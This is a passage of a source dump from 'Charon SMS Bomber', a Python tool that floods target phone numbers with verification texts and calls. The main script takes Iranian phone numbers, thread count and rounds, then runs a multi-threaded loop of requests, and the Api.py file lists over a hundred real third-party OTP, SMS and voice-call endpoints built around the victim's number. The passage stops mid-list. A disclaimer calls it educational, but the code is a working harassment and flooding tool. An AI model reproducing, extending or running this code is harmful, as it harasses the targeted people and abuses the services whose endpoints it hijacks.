api_config["data"] 158 | if isinstance(data_str, dict): 159 | data_str = json.dumps(data_str) 160 | try: 161 | request_kwargs["data"] = json.loads(data_str) 162 | except json.JSONDecodeError: 163 | request_kwargs["data"] = data_str 164 | elif "params" in api_config: 165 | request_kwargs["params"] = api_config["params"] 166 | 167 | response = session.request(method, url, **request_kwargs) 168 | 169 | return 200 <= response.status_code < 300 170 | except (requests.exceptions.RequestException, 171 | requests.exceptions.Timeout, 172 | requests.exceptions.ConnectionError): 173 | return False 174 | except Exception: 175 | return False 176 | 177 | def startMain(self): 178 | """ 179 | Start a new bombing session by collecting user inputs. 180 | """ 181 | print(Banner.DefaultBanner()) 182 | print(f" {Fore.LIGHTBLUE_EX}[{Fore.LIGHTWHITE_EX}::{Fore.LIGHTBLUE_EX}]" 183 | f"{Fore.YELLOW} You can enter multiple phone numbers separated by ';'" 184 | f" {Fore.LIGHTBLUE_EX}[{Fore.LIGHTWHITE_EX}::{Fore.LIGHTBLUE_EX}]\n\n") 185 | 186 | self.targetPhoneNumber = colorizeInput(PROMPTS[0]).replace(' ', '').split(';') 187 | 188 | if not any(self.targetPhoneNumber): 189 | print(Logs.error("You must enter at least one phone number")) 190 | colorizeInput(INPUT_BACKMENU) 191 | return 192 | 193 | # Normalize phone numbers into +98xxxxxxxxxx format 194 | for i in range(len(self.targetPhoneNumber)): 195 | if self.targetPhoneNumber[i].startswith("0"): 196 | self.targetPhoneNumber[i] = "+98" + self.targetPhoneNumber[i][1:] 197 | elif self.targetPhoneNumber[i].startswith("98"): 198 | self.targetPhoneNumber[i] = "+" + self.targetPhoneNumber[i] 199 | elif self.targetPhoneNumber[i].startswith("+98"): 200 | pass 201 | else: 202 | print(Logs.error( 203 | f"Invalid phone number format {Fore.CYAN}(" 204 | f"{Fore.LIGHTYELLOW_EX}{self.targetPhoneNumber[i]}{Fore.CYAN})" 205 | f"{Fore.LIGHTRED_EX}. Must start with 0, 98, or +98" 206 | )) 207 | colorizeInput(INPUT_BACKMENU) 208 | return 209 | 210 | if len(self.targetPhoneNumber[i]) != 13: 211 | print(Logs.error( 212 | f"Invalid phone number length {Fore.CYAN}(" 213 | f"{Fore.LIGHTYELLOW_EX}{self.targetPhoneNumber[i]}{Fore.CYAN})" 214 | f"{Fore.LIGHTRED_EX}. Must be 11 digits after country code" 215 | )) 216 | colorizeInput(INPUT_BACKMENU) 217 | return 218 | 219 | # Threads 220 | try: 221 | self.numThreads = int(colorizeInput(PROMPTS[1])) 222 | except ValueError: 223 | print(Logs.error("Invalid Value. Default set to 1\n")) 224 | self.numThreads = 1 225 | 226 | # Rounds 227 | try: 228 | self.numRounds = int(colorizeInput(PROMPTS[2])) 229 | if self.numRounds > 20: 230 | raise ValueError("Max Count Rounds") 231 | except ValueError: 232 | print(Logs.error("Invalid Value/Or Exceeds Max. Default set to 10\n")) 233 | self.numRounds = 10 234 | 235 | # Delay 236 | try: 237 | self.REQUEST_DELAY = float(colorizeInput(PROMPTS[3])) 238 | except ValueError: 239 | print(Logs.error("Invalid Value. Default set to 1.0\n")) 240 | self.REQUEST_DELAY = 1.0 241 | 242 | self.displaySummery() 243 | 244 | def continueMain(self): 245 | """ 246 | Load configuration from continue.json to resume attack. 247 | """ 248 | with open("continue.json", "r") as continueFileRead: 249 | data = json.loads(continueFileRead.read()) 250 | 251 | self.targetPhoneNumber = data['targets'].replace(' ', '').split(";") 252 | self.numThreads = data['threads'] 253 | self.numRounds = data['rounds'] 254 | self.REQUEST_DELAY = data['delay'] 255 | 256 | self.displaySummery() 257 | 258 | def displaySummery(self): 259 | """ 260 | Show attack configuration summary before starting. 261 | """ 262 | print(Banner.AttackingBanner()) 263 | print(f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}√{Fore.CYAN}]" 264 | f"{Fore.LIGHTGREEN_EX} Gearing up the Charon SMS Bomber - Please be patient") 265 | print(Logs.generalMessage(f"{Fore.YELLOW}Stay connected to the internet during attack")) 266 | print(Logs.generalMessage(f"API Version : " + API_VERSION)) 267 | print(Logs.generalMessage(f"Targets : ") + 268 | (';'.join(self.targetPhoneNumber) if len(self.targetPhoneNumber) > 1 269 | else self.targetPhoneNumber[0] if self.targetPhoneNumber else '')) 270 | print(Logs.generalMessage(f"Threads : {self.numThreads}")) 271 | print(Logs.generalMessage(f"Rounds : {self.numRounds}")) 272 | print(Logs.generalMessage(f"Delay : {self.REQUEST_DELAY} seconds")) 273 | print(f"\n {Fore.CYAN}[{Fore.LIGHTRED_EX}!{Fore.CYAN}]" 274 | f"{Fore.YELLOW} This tool was made for fun, educational, and research purposes only") 275 | 276 | # Save session 277 | with open("continue.json", "w") as saveFileJson: 278 | saveFileJson.write(json.dumps({ 279 | "targets": ';'.join(self.targetPhoneNumber) if len(self.targetPhoneNumber) > 1 else 280 | self.targetPhoneNumber[0] if self.targetPhoneNumber else '', 281 | "threads": self.numThreads, 282 | "rounds": self.numRounds, 283 | "delay": self.REQUEST_DELAY 284 | }, indent=4)) 285 | 286 | colorizeInput(INPUT_START) 287 | self.startAttack() 288 | 289 | def get_combined_list(self, apiList): 290 | """ 291 | Flatten API lists for multiple targets into a combined, round-robin list. 292 | """ 293 | combined_list = [] 294 | min_length = min(len(lst_api) for lst_api in apiList) 295 | for i in range(min_length): 296 | for lst in apiList: 297 | combined_list.append(lst[i]) 298 | return combined_list 299 | 300 | def pretty_print(self, phone_numbers, round_count: int, api_name: str, success: int, failed: int): 301 | """ 302 | Display attack progress in real-time. 303 | """ 304 | print(Banner.AttackingBanner()) 305 | sended = success + failed 306 | print(f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}√{Fore.CYAN}]" 307 | f"{Fore.LIGHTGREEN_EX} Bombing is in progress - Please be patient") 308 | print(Logs.generalMessage(f"{Fore.YELLOW}Stay connected to the internet during attack")) 309 | print(Logs.generalMessage("Target : " + phone_numbers)) 310 | print(Logs.generalMessage("Rounds : " + str(round_count) + "/" + str(self.numRounds))) 311 | print(Logs.generalMessage("API Name : " + api_name)) 312 | print(Logs.generalMessage("Sent : " + str(sended) + "/" + str(len(self.API_LIST)))) 313 | print(Logs.generalMessage("Successful : " + str(success))) 314 | print(Logs.generalMessage("Failed : " + str(failed))) 315 | print(f" {Fore.CYAN}[{Fore.LIGHTRED_EX}!{Fore.CYAN}]" 316 | f"{Fore.YELLOW} This tool was made for fun, educational, and research purposes only") 317 | 318 | def startAttack(self): 319 | """ 320 | Main attack loop: iterates through rounds, sends requests 321 | with ThreadPoolExecutor, and tracks statistics. 322 | """ 323 | all_phoneNumbers_api_lists = [] 324 | 325 | # Prepare API list for each phone number 326 | for phone_number in self.targetPhoneNumber: 327 | phone_number = phone_number.strip() 328 | if phone_number: 329 | unique_apis = [] 330 | seen = set() 331 | api_list = API_LIST(phone_number) 332 | for api in api_list: 333 | identifier = (api["url"], api.get("method", "POST")) 334 | if identifier not in seen: 335 | unique_apis.append(api) 336 | seen.add(identifier) 337 | all_phoneNumbers_api_lists.append(unique_apis) 338 | 339 | # Merge into one unified API list 340 | self.API_LIST = self.get_combined_list(all_phoneNumbers_api_lists) 341 | targets = ';'.join(self.targetPhoneNumber) if len(self.targetPhoneNumber) > 1 else self.targetPhoneNumber[0] 342 | 343 | with requests.Session() as session: 344 | countOfRounds, countOfSucess, countOfFailed = 0, 0, 0 345 | 346 | # Loop through attack rounds 347 | while countOfRounds < self.numRounds: 348 | with confutures.ThreadPoolExecutor(max_workers=self.numThreads) as executor: 349 | future_to_api = { 350 | executor.submit(self.send_request, session, api): api.get("name", "Unknown API") 351 | for api in self.API_LIST 352 | } 353 | 354 | for future in confutures.as_completed(future_to_api): 355 | api_name = future_to_api[future] 356 | try: 357 | success = future.result() 358 | if success: 359 | countOfSucess += 1 360 | else: 361 | countOfFailed += 1 362 | except Exception: 363 | countOfFailed += 1 364 | 365 | # Print attack status 366 | self.pretty_print(targets, countOfRounds, api_name, countOfSucess, countOfFailed) 367 | time.sleep(self.REQUEST_DELAY) 368 | 369 | # Prepare for next round 370 | print(Banner.AttackingBanner()) 371 | print(f"\n {Fore.LIGHTBLUE_EX}[{Fore.YELLOW}!{Fore.LIGHTBLUE_EX}]" 372 | f"{Fore.LIGHTWHITE_EX} Starting next round in 3 seconds ...") 373 | countOfSucess, countOfFailed = 0, 0 374 | countOfRounds += 1 375 | time.sleep(3) 376 | 377 | # Attack completed 378 | print(Banner.AttackingBanner()) 379 | print(Logs.success("Bombing Completed!")) 380 | colorizeInput(INPUT_BACKMENU) 381 | 382 | def aboutMain(self): 383 | """ 384 | Show program details: name, version, repo, license. 385 | """ 386 | print(Banner.DefaultBanner()) 387 | print(f" {Fore.LIGHTGREEN_EX}#############################################################################") 388 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Program Name : {Fore.LIGHTCYAN_EX}Charon SMS Bomber {Fore.LIGHTGREEN_EX}#") 389 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Program Version : {Fore.LIGHTCYAN_EX}2.1.1 {Fore.LIGHTGREEN_EX}#") 390 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Repository Page : {Fore.LIGHTCYAN_EX}https://github.com/Ch4120N/Charon-SMS-Bomber {Fore.LIGHTGREEN_EX}#") 391 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Owned By : {Fore.LIGHTCYAN_EX}Ch4120N (AmirHossein Ghanami) {Fore.LIGHTGREEN_EX}#") 392 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Licence : {Fore.LIGHTCYAN_EX}CGBL (Charon General Black Licence) {Fore.LIGHTGREEN_EX}#") 393 | print(f" {Fore.LIGHTGREEN_EX}# {Fore.LIGHTGREEN_EX}#") 394 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTRED_EX} ! This tool was made for fun, educational, and research purposes only ! {Fore.LIGHTGREEN_EX}#") 395 | print(f" {Fore.LIGHTGREEN_EX}#############################################################################\n") 396 | colorizeInput(INPUT_BACKMENU) 397 | 398 | 399 | if __name__ == '__main__': 400 | # Ensure Python3 environment 401 | if sys.version_info[0] != 3: 402 | print("[-] ChSMSBomber will work only in Python v3") 403 | sys.exit() 404 | 405 | # Disable SSL warnings from urllib3 406 | requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) 407 | 408 | # Start program 409 | ChSMSBomber() 410 | -------------------------------------------------------------------------------- /Core/Api.py: -------------------------------------------------------------------------------- 1 | 2 | def API_LIST(phoneNumber:str): 3 | phoneNumber_countryCode = phoneNumber.replace('+98', '') 4 | phoneNumber_zero = "0" + phoneNumber.replace('+98', '') 5 | 6 | return [ 7 | {"name": "Snapp", "method": "POST", "url": "https://app.snapp.taxi/api/api-passenger-oauth/v3/mutotp", "payload": {"cellphone": phoneNumber_countryCode}}, 8 | {"name": "Snapp V2", "method": "POST", "url": "https://app.snapp.taxi/api/api-passenger-oauth/v2/otp", "payload": {"cellphone": phoneNumber}}, 9 | {"name": "Tap30", "method": "POST", "url": "https://tap33.me/api/v2/user", "payload": {"credential": {"phoneNumber": phoneNumber_zero, "role": "PASSENGER"}}}, 10 | {"name": "Divar", "method": "POST", "url": "https://api.divar.ir/v5/auth/authenticate", "payload": {"phone": phoneNumber}}, 11 | {"name": "SnappFood", "method": "POST", "url": "https://snappfood.ir/mobile/v2/user/loginMobileWithNoPass", "payload": {"cellphone": phoneNumber_zero, "client": "PWA"}}, 12 | {"name": "Torob", "method": "GET", "url": "https://api.torob.com/a/phone/send-pin/", "params": {"phone_number": phoneNumber_zero}}, 13 | {"name": "Gap", "method": "GET", "url": "https://core.gap.im/v1/user/add.json", "params": {"mobile": phoneNumber}}, 14 | {"name": "Sheypoor", "method": "POST", "url": "https://www.sheypoor.com/auth", "data": {"username": phoneNumber_zero}}, 15 | {"name": "AliBaba", "method": "POST", "url": "https://ws.alibaba.ir/api/v3/account/mobile/otp", "payload": {"phoneNumber": phoneNumber_zero}}, 16 | {"name": "Snapp Market", "method": "POST", "url": "https://api.snapp.market/mart/v1/user/loginMobileWithNoPass", "params": {"cellphone": phoneNumber_zero}}, 17 | {"name": "GapFilm", "method": "POST", "url": "https://core.gapfilm.ir/api/v3.1/Account/Login", "payload": {"Type": 3, "Username": phoneNumber, "SourceChannel": "GF_WebSite"}}, 18 | {"name": "FilmNet", "method": "GET", "url": "https://api-v2.filmnet.ir/access-token/users/" + phoneNumber + "/otp"}, 19 | {"name": "DrDr", "method": "POST", "url": "https://drdr.ir/api/registerEnrollment/sendDisposableCode", "params": {"phoneNumber": phoneNumber, "userType": "PATIENT"}}, 20 | {"name": "Banimode", "method": "POST", "url": "https://mobapi.banimode.com/api/v2/auth/request", "payload": {"phone": phoneNumber_zero}}, 21 | {"name": "BaSalam", "method": "POST", "url": "https://api.basalam.com/user", "payload": {"variables": {"mobile": phoneNumber_zero}, "query": "mutation verificationCodeRequest($mobile: MobileScalar!) { mobileVerificationCodeRequest(mobile: $mobile) { success } }"}}, 22 | {"name": "Nobat.ir", "method": "POST", "url": "https://nobat.ir/api/public/patient/login/phone", "data": {"mobile": phoneNumber_zero}}, 23 | {"name": "Alopeyk", "method": "POST", "url": "https://api.alopeyk.com/api/v2/login?platform=pwa", "payload": {"type": "CUSTOMER", "phone": phoneNumber}}, 24 | {"name": "ShahrFarsh", "method": "POST", "url": "https://shahrfarsh.com/Account/Login", "data": {"phoneNumber": phoneNumber_zero}}, 25 | {"name": "DigiStyle", "method": "POST", "url": "https://www.digistyle.com/users/login-register/", "data": {"loginRegister[email_phone]": phoneNumber_zero}}, 26 | {"name": "Snapp Express", "method": "POST", "url": "https://api.snapp.express/mobile/v4/user/loginMobileWithNoPass", "data": {"cellphone": phoneNumber_zero}}, 27 | {"name": "Azki", "method": "POST", "url": "https://www.azki.com/api/vehicleorder/v2/app/auth/check-login-availability/", "payload": {"phoneNumber": phoneNumber_zero}}, 28 | {"name": "Digikala Jet", "method": "POST", "url": "https://api.digikalajet.ir/user/login-register/", "payload": {"phone": phoneNumber_zero}}, 29 | {"name": "Snapp Drivers", "method": "POST", "url": "https://digitalsignup.snapp.ir/ds3/api/v3/otp", "payload": {"cellphone": phoneNumber_zero}}, 30 | {"name": "Ostadkar", "method": "POST", "url": "https://api.ostadkr.com/login", "payload": {"mobile": phoneNumber_zero}}, 31 | {"name": "Miare", "method": "POST", "url": "https://www.miare.ir/api/otp/driver/request/", "payload": {"phone_number": phoneNumber_zero}}, 32 | {"name": "Tapsi Drivers", "method": "POST", "url": "https://api.tapsi.ir/api/v2.2/user", "payload": {"credential": {"phoneNumber": phoneNumber_zero, "role": "DRIVER"}, "otpOption": "SMS"}}, 33 | {"name": "Taaghche", "method": "POST", "url": "https://gw.taaghche.com/v4/site/auth/login", "payload": {"contact": phoneNumber_zero, "forceOtp": False}}, 34 | {"name": "Mobit", "method": "POST", "url": "https://api.mobit.ir/api/web/v8/register/register", "payload": {"number": phoneNumber_zero}}, 35 | {"name": "Jabama", "method": "POST", "url": "https://taraazws.jabama.com/api/v4/account/send-code", "payload": {"mobile": phoneNumber_zero}}, 36 | {"name": "Ghabzino", "method": "POST", "url": "https://application2.billingsystem.ayantech.ir/WebServices/Core.svc/requestActivationCode", "payload": {"Parameters": {"ApplicationType": "Web", "MobileNumber": phoneNumber_zero}}}, 37 | {"name": "Komodaa", "method": "POST", "url": "https://api.komodaa.com/api/v2.6/loginRC/request", "payload": {"phone_number": phoneNumber_zero}}, 38 | {"name": "Bargh-e Man", "method": "POST", "url": "https://uiapi2.saapa.ir/api/otp/sendCode", "payload": {"mobile": phoneNumber_zero, "from_meter_buy": False}}, 39 | {"name": "Vandar", "method": "POST", "url": "https://api.vandar.io/account/v1/check/mobile", "payload": {"mobile": phoneNumber_zero}}, 40 | {"name": "Pinorest", "method": "POST", "url": "https://api.pinorest.com/frontend/auth/login/mobile", "payload": {"mobile": phoneNumber_zero}}, 41 | {"name": "Tetherland", "method": "POST", "url": "https://service.tetherland.com/api/v5/login-register", "payload": {"mobile": phoneNumber_zero}}, 42 | {"name": "DrNext", "method": "POST", "url": "https://cyclops.drnext.ir/v1/patients/auth/send-verification-token", "payload": {"source": "besina", "mobile": phoneNumber_zero}}, 43 | {"name": "Classino", "method": "POST", "url": "https://student.classino.com/otp/v1/api/login", "payload": {"mobile": phoneNumber_zero}}, 44 | {"name": "Behtarino", "method": "POST", "url": "https://bck.behtarino.com/api/v1/users/jwt_phone_verification/", "payload": {"phone": phoneNumber_zero}}, 45 | {"name": "Bit24", "method": "POST", "url": "https://bit24.cash/auth/bit24/api/v3/auth/check-mobile", "payload": {"mobile": phoneNumber_zero, "contry_code": "98"}}, 46 | {"name": "Doctoreto", "method": "GET", "url": "https://api.doctoreto.com/api/web/patient/v1/accounts/register", "params": {"mobile": phoneNumber, "country_id": 205}}, 47 | {"name": "Okala", "method": "POST", "url": "https://api-react.okala.com/C/CustomerAccount/OTPRegister", "payload": {"mobile": phoneNumber_zero, "deviceTypeCode": 0, "confirmTerms": True, "notRobot": False}}, 48 | {"name": "Beroozmarket", "method": "POST", "url": "https://api.beroozmart.com/api/pub/account/send-otp", "payload": {"mobile": phoneNumber_zero, "sendViaSms": True}}, 49 | {"name": "Itoll", "method": "POST", "url": "https://app.itoll.com/api/v1/auth/login", "payload": {"mobile": phoneNumber_zero}}, 50 | {"name": "Pinket", "method": "POST", "url": "https://pinket.com/api/cu/v2/phone-verification", "payload": {"phoneNumber": phoneNumber_zero}}, 51 | {"name": "Football360", "method": "POST", "url": "https://football360.ir/api/auth/verify-phone/", "payload": {"phone_number": phoneNumber}}, 52 | {"name": "MrBilit", "method": "GET", "url": "https://auth.mrbilit.com/api/login/exists/v2", "params": {"mobileOrEmail": phoneNumber_zero, "source": 2, "sendTokenIfNot": "true"}}, 53 | {"name": "HamrahMechanic", "method": "POST", "url": "https://www.hamrah-mechanic.com/api/v1/membership/otp", "payload": {"PhoneNumber": phoneNumber_zero}}, 54 | {"name": "Lendo", "method": "POST", "url": "https://api.lendo.ir/api/customer/auth/send-otp", "payload": {"mobile": phoneNumber_zero}}, 55 | {"name": "Fidibo", "method": "POST", "url": "https://fidibo.com/user/login-by-sms", "data": "mobile_number=" + phoneNumber_countryCode + "&country_code=ir"}, 56 | {"name": "Khodro45", "method": "POST", "url": "https://khodro45.com/api/v1/customers/otp/", "payload": {"mobile": phoneNumber_zero}}, 57 | {"name": "Pateh", "method": "POST", "url": "https://api.pateh.com/api/v1/LoginOrRegister", "payload": {"mobile": phoneNumber_zero}}, 58 | {"name": "Ketabchi", "method": "POST", "url": "https://ketabchi.com/api/v1/auth/requestVerificationCode", "payload": {"auth": {"phoneNumber": phoneNumber_zero}}}, 59 | {"name": "RayanErtebat", "method": "POST", "url": "https://pay.rayanertebat.ir/api/User/Otp", "payload": {"mobileNo": phoneNumber_zero}}, 60 | {"name": "Bimito", "method": "POST", "url": "https://bimito.com/api/vehicleorder/v2/app/auth/login-with-verify-code", "payload": {"phoneNumber": phoneNumber_zero, "isResend": False}}, 61 | {"name": "Pindo", "method": "POST", "url": "https://api.pindo.ir/v1/user/login-register/", "payload": {"phone": phoneNumber_zero}}, 62 | {"name": "Delino", "method": "POST", "url": "https://www.delino.com/user/register", "payload": {"mobile": phoneNumber_zero}}, 63 | {"name": "Zoodex", "method": "POST", "url": "https://admin.zoodex.ir/api/v1/login/check", "payload": {"mobile": phoneNumber_zero}}, 64 | {"name": "Kukala", "method": "POST", "url": "https://api.kukala.ir/api/user/Otp", "payload": {"phoneNumber": phoneNumber_zero}}, 65 | {"name": "Baskool", "method": "POST", "url": "https://www.buskool.com/send_verification_code", "payload": {"phone": phoneNumber_zero}}, 66 | {"name": "3tex", "method": "POST", "url": "https://3tex.io/api/1/users/validation/mobile", "payload": {"receptorPhone": phoneNumber_zero}}, 67 | {"name": "DeniizShop", "method": "POST", "url": "https://deniizshop.com/api/v1/sessions/login_request", "payload": {"mobile_number": phoneNumber_zero}}, 68 | {"name": "Flightio", "method": "POST", "url": "https://flightio.com/bff/Authentication/CheckUserKey", "payload": {"userKey": phoneNumber_zero}}, 69 | {"name": "AbanTether", "method": "POST", "url": "https://abantether.com/users/register/phone/send/", "payload": {"phoneNumber": phoneNumber_zero}}, 70 | {"name": "Pooleno", "method": "POST", "url": "https://api.pooleno.ir/v1/auth/check-mobile", "payload": {"mobile": phoneNumber_zero}}, 71 | {"name": "WideApp", "method": "POST", "url": "https://agent.wide-app.ir/auth/token", "payload": {"grant_type": "otp", "client_id": "62b30c4af53e3b0cf100a4a0", "phone": phoneNumber_zero}}, 72 | {"name": "BitBarg", "method": "POST", "url": "https://api.bitbarg.com/api/v1/authentication/registerOrLogin", "payload": {"phone": phoneNumber_zero}}, 73 | {"name": "BahramShop", "method": "POST", "url": "https://api.bahramshop.ir/api/user/validate/username", "payload": {"username": phoneNumber_zero}}, 74 | {"name": "Chamedoon", "method": "POST", "url": "https://chamedoon.com/api/v1/membership/guest/request_mobile_verification", "payload": {"mobile": phoneNumber_zero}}, 75 | {"name": "Kilid", "method": "POST", "url": "https://server.kilid.com/global_auth_api/v1.0/authenticate/login/realm/otp/start?realm=PORTAL", "payload": {"mobile": phoneNumber_zero}}, 76 | {"name": "Otaghak", "method": "POST", "url": "https://core.otaghak.com/odata/Otaghak/Users/SendVerificationCode", "payload": {"userName": phoneNumber_zero}}, 77 | {"name": "Shab", "method": "POST", "url": "https://www.shab.ir/api/fa/sandbox/v_1_4/auth/enter-mobile", "payload": {"mobile": phoneNumber_zero}}, 78 | {"name": "Raybit", "method": "POST", "url": "https://api.raybit.net:3111/api/v1/authentication/register/mobile", "payload": {"mobile": phoneNumber_zero}}, 79 | {"name": "FarviShop", "method": "POST", "url": "https://farvi.shop/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}}, 80 | {"name": "Namava", "method": "POST", "url": "https://www.namava.ir/api/v1.0/accounts/registrations/by-phone/request", "payload": {"UserName": phoneNumber_zero}}, 81 | {"name": "a4baz", "method": "POST", "url": "https://a4baz.com/api/web/login", "payload": {"cellphone": phoneNumber_zero}}, 82 | {"name": "AnarGift", "method": "POST", "url": "https://api.anargift.com/api/people/auth", "payload": {"user": phoneNumber_zero}}, 83 | {"name": "Simkhan", "method": "POST", "url": "https://www.simkhanapi.ir/api/users/registerV2", "payload": {"mobileNumber": phoneNumber_zero}}, 84 | {"name": "SibIrani", "method": "POST", "url": "https://sandbox.sibirani.ir/api/v1/user/invite", "payload": {"username": phoneNumber_zero}}, 85 | {"name": "HyperJan", "method": "POST", "url": "https://shop.hyperjan.ir/api/users/manage", "payload": {"mobile": phoneNumber_zero}}, 86 | {"name": "Digikala", "method": "POST", "url": "https://api.digikala.com/v1/user/authenticate/", "payload": {"username": phoneNumber_zero}}, 87 | {"name": "HiWord", "method": "POST", "url": "https://hiword.ir/wp-json/otp-login/v1/login", "payload": {"identifier": phoneNumber_zero}}, 88 | {"name": "Tikban", "method": "POST", "url": "https://tikban.com/Account/LoginAndRegister", "payload": {"cellPhone": phoneNumber_zero}}, 89 | {"name": "Dicardo", "method": "POST", "url": "https://dicardo.com/main/sendsms", "payload": {"phone": phoneNumber_zero}}, 90 | {"name": "Khanoumi", "method": "POST", "url": "https://www.khanoumi.com/accounts/sendotp", "payload": {"mobile": phoneNumber_zero}}, 91 | {"name": "RojaShop", "method": "POST", "url": "https://rojashop.com/api/auth/sendOtp", "payload": {"mobile": phoneNumber_zero}}, 92 | {"name": "Dadpardaz", "method": "POST", "url": "https://dadpardaz.com/advice/getLoginConfirmationCode", "payload": {"mobile": phoneNumber_zero}}, 93 | {"name": "Rokla", "method": "POST", "url": "https://api.rokla.ir/api/request/otp", "payload": {"mobile": phoneNumber_zero}}, 94 | {"name": "Pezeshket", "method": "POST", "url": "https://api.pezeshket.com/core/v1/auth/requestCode", "payload": {"mobileNumber": phoneNumber_zero}}, 95 | {"name": "Virgool", "method": "POST", "url": "https://virgool.io/api/v1.4/auth/verify", "payload": {"method": "phone", "identifier": phoneNumber_zero}}, 96 | {"name": "Timcheh", "method": "POST", "url": "https://api.timcheh.com/auth/otp/send", "payload": {"mobile": phoneNumber_zero}}, 97 | {"name": "Paklean", "method": "POST", "url": "https://client.api.paklean.com/user/resendCode", "payload": {"username": phoneNumber_zero}}, 98 | {"name": "Daal", "method": "POST", "url": "https://daal.co/api/authentication/login-register/method/phone-otp/user-role/customer/verify-request", "payload": {"phone": phoneNumber_zero}}, 99 | {"name": "Bimebazar", "method": "POST", "url": "https://bimebazar.com/accounts/api/login_sec/", "payload": {"username": phoneNumber_zero}}, 100 | {"name": "SafarMarket", "method": "POST", "url": "https://safarmarket.com//api/security/v2/user/otp", "payload": {"phone": phoneNumber_zero}}, 101 | {"name": "Shad", "method": "POST", "url": "https://shadmessenger12.iranlms.ir/", "payload": {"api_version": "3", "method": "sendCode", "data": {"phone_number": "098" + phoneNumber_countryCode + "", "send_type": "SMS"}}}, 102 | {"name": "Emtiaz", "method": "POST", "url": "https://web.emtiyaz.app/json/login", "data": "send=1&cellphone=" + phoneNumber_zero + ""}, 103 | {"name": "Rubika", "method": "POST", "url": "https://messengerg2c4.iranlms.ir/", "payload": {"api_version": "3", "method": "sendCode", "data": {"phone_number": phoneNumber, "send_type": "SMS"}}}, 104 | {"name": "Bama", "method": "POST", "url": "https://bama.ir/signin-checkforcellnumber", "data": "cellNumber=" + phoneNumber_zero + ""}, 105 | {"name": "Snapp Doctor", "method": "GET", "url": "https://core.snapp.doctor/Api/Common/v1/sendVerificationCode/" + phoneNumber_countryCode + "/sms?cCode=+98"}, 106 | {"name": "Bitpin", "method": "POST", "url": "https://api.bitpin.ir/v1/usr/sub_phone/", "payload": {"phone": phoneNumber_zero}}, 107 | {"name": "Trip (Call)", "method": "POST", "url": "https://gateway.trip.ir/api/Totp", "payload": {"PhoneNumber": phoneNumber_zero}}, 108 | {"name": "Paklean (Call)", "method": "POST", "url": "https://client.api.paklean.com/user/resendVoiceCode", "payload": {"username": phoneNumber_zero}}, 109 | {"name": "Ragham (Call)", "method": "POST", "url": "https://web.raghamapp.com/api/users/code", "payload": {"phone": phoneNumber}}, 110 | {"name": "Achareh", "method": "POST", "url": "https://api.achareh.co/v2/accounts/login/", "payload": {"phone": "98" + phoneNumber_countryCode + ""}}, 111 | {"name": "Zigap", "method": "POST", "url": "https://zigap.smilinno-dev.com/api/v1.6/authenticate/sendotp", "payload": {"phoneNumber": phoneNumber}}, 112 | {"name": "Mootanroo", "method": "POST", "url": "https://api.mootanroo.com/api/v3/auth/send-otp", "payload": {"PhoneNumber": phoneNumber_zero}}, 113 | {"name": "Tebinja", "method": "POST", "url": "https://www.tebinja.com/api/v1/users", "payload": {"username": phoneNumber_zero}}, 114 | {"name": "Dosma", "method": "POST", "url": "https://app.dosma.ir/api/v1/account/send-otp/", "payload": {"mobile": phoneNumber_zero}}, 115 | {"name": "Sibbazar", "method": "POST", "url": "https://sandbox.sibbazar.com/api/v1/user/invite", "payload": {"username": phoneNumber_zero}}, 116 | {"name": "Pubisha", "method": "POST", "url": "https://www.pubisha.com/login/checkCustomerActivation", "data": "mobile=" + phoneNumber_zero + ""}, 117 | {"name": "Wisgoon", "method": "POST", "url": "https://gateway.wisgoon.com/api/v1/auth/login/", "payload": {"phone": phoneNumber_zero}}, 118 | {"name": "Tagmond", "method": "POST", "url": "https://tagmond.com/phone_number", "data": "phone_number=" + phoneNumber_zero + ""}, 119 | {"name": "Olgoo", "method": "POST", "url": "https://www.olgoobooks.ir/sn/userRegistration/", "data": {"contactInfo[mobile]": phoneNumber_zero}}, 120 | {"name": "PakhshShop", "method": "POST", "url": "https://www.pakhsh.shop/wp-admin/admin-ajax.php", "data": "action=digits_check_mob&mobileNo=" + phoneNumber_zero + ""}, 121 | {"name": "Didnegar", "method": "POST", "url": "https://www.didnegar.com/wp-admin/admin-ajax.php", "data": "action=digits_check_mob&mobileNo=" + phoneNumber_countryCode + ""}, 122 | {"name": "See5", "method": "POST", "url": "https://crm.see5.net/api_ajax/sendotp.php", "data": {"mobile": phoneNumber_zero, "action": "sendsms"}}, 123 | {"name": "DrSaina", "method": "POST", "url": "https://www.drsaina.com/RegisterLogin", "data": "PhoneNumber=" + phoneNumber_zero + ""}, 124 | {"name": "Limome", "method": "POST", "url": "https://my.limoome.com/api/auth/login/otp", "data": {"mobileNumber": phoneNumber, "country": "1"}}, 125 | {"name": "Devsloop", "method": "POST", "url": "https://i.devslop.app/app/ifollow/api/otp.php", "data": "number=" + phoneNumber_zero + "&state=number"}, 126 | {"name": "Ghasedak24", "method": "POST", "url": "https://ghasedak24.com/user/ajax_register", "data": {"username": phoneNumber_zero}}, 127 | {"name": "Iranketab", "method": "POST", "url": "https://www.iranketab.ir/account/register", "data": {"UserName": phoneNumber_zero}}, 128 | {"name": "Takfarsh", "method": "POST", "url": "https://takfarsh.com/wp-content/themes/bakala/template-parts/send.php", "data": {"phone_email": phoneNumber_zero}}, 129 | {"name": "Iranicard", "method": "POST", "url": "https://api.iranicard.ir/api/v1/register", "data": {"mobile": phoneNumber_zero}}, 130 | {"name": "PubgSell", "method": "GET", "url": "https://pubg-sell.ir/loginuser?username=" + phoneNumber_zero + ""}, 131 | {"name": "Tj8", "method": "POST", "url": "https://tj8.ir/auth/register", "data": {"mobile": phoneNumber_zero}}, 132 | {"name": "Mashinbank", "method": "POST", "url": "https://mashinbank.com/api2/users/check", "data": {"mobileNumber": phoneNumber_zero}}, 133 | {"name": "Cinematicket", "method": "POST", "url": "https://cinematicket.org/api/v1/users/signup", "payload": {"phone_number": phoneNumber_zero}}, 134 | {"name": "Kafegheymat", "method": "POST", 